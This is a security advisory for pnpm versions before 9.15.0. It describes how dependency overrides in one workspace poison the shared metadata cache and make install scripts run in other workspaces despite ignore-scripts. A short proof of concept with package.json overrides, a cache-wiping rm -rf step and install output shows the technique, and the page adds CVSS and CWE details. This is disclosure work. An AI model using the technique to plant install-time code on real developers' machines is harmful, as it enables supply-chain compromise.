pnpm no-script global cache poisoning via overrides / `ignore-scripts` evasion

Description

Summary

pnpm seems to mishandle overrides and global cache:
1. Overrides from one workspace leak into npm metadata saved in global cache
2. npm metadata from global cache affects other workspaces
3. installs by default don't revalidate the data (including on first lockfile generation)

This can make workspace A (even running with ignore-scripts=true) posion global cache and execute scripts in workspace B

Users generally expect ignore-scripts to be sufficient to prevent immediate code execution on install (e.g. when the tree is just repacked/bundled without executing it).

Here, that expectation is broken

Details

See PoC.

In it, overrides from a single run of A get leaked into e.g. ~/Library/Caches/pnpm/metadata/registry.npmjs.org/rimraf.json and persistently affect all other projects using the cache

PoC

Postinstall code used in PoC is benign and can be inspected in <https://www.npmjs.com/package/ponyhooves?activeTab=code>, it's just a console.log

  1. Remove store and cache
    On mac: rm -rf ~/Library/Caches/pnpm ~/Library/pnpm/store
    This step is not required in general, but we'll be using a popular package for PoC that's likely cached
  2. Create A/package.json:
    json { &quot;name&quot;: &quot;A&quot;, &quot;pnpm&quot;: { &quot;overrides&quot;: { &quot;rimraf&gt;glob&quot;: &quot;npm:ponyhooves@1&quot; } }, &quot;dependencies&quot;: { &quot;rimraf&quot;: &quot;6.0.1&quot; } }
    Install it with pnpm i --ignore-scripts (the flag is not required, but the point of the demo is to show that it doesn't help)
  3. Create B/package.json:
    json { &quot;name&quot;: &quot;B&quot;, &quot;dependencies&quot;: { &quot;rimraf&quot;: &quot;6.0.1&quot; } }
    Install it with pnpm i

Result:

Packages: +3
+++
Progress: resolved 3, reused 3, downloaded 0, added 3, done
node_modules/.pnpm/[email protected]/node_modules/ponyhooves: Running postinstall script, done in 51ms

dependencies:
+ rimraf 6.0.1

Done in 1.4s

Also, that code got leaked into another project and it's lockfile now!

Impact

Global state integrity is lost via operations that one would expect to be secure, enabling subsequently running arbitrary code execution on installs

As a work-around, use separate cache and store dirs in each workspace

Basic information

Type
reviewed
Severity
medium
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2024-12-10 22:42:41 UTC
Updated
2024-12-10 22:42:44 UTC
GitHub reviewed
2024-12-10 22:42:41 UTC
NVD published
2024-12-10

EPSS Score

Score Percentile
0.77% 73.51%

CVSS Scores

Base score Version Severity Vector
5.8 4.0
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network.
Attack complexity (AC:H)
Exploitation depends on constrained or hard-to-reproduce conditions.
Attack requirements (AT:P)
Additional preconditions must be present for exploitation.
Privileges required (PR:N)
No privileges are required.
User interaction (UI:P)
A user has to participate (for example click/open/approve).
Vulnerable system confidentiality impact (VC:N)
No confidentiality impact on the vulnerable system.
Vulnerable system integrity impact (VI:L)
Limited integrity impact on the vulnerable system.
Vulnerable system availability impact (VA:N)
No availability impact on the vulnerable system.
Subsequent system confidentiality impact (SC:H)
High confidentiality impact on subsequent systems.
Subsequent system integrity impact (SI:H)
High integrity impact on subsequent systems.
Subsequent system availability impact (SA:H)
High availability impact on subsequent systems.

Identifiers

CWEs

CWE id Name
CWE-346 Origin Validation Error
CWE-426 Untrusted Search Path

Credits

  • ChALkeR (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
npm pnpm < 9.15.0 9.15.0

References

cvelogic Threat Intelligence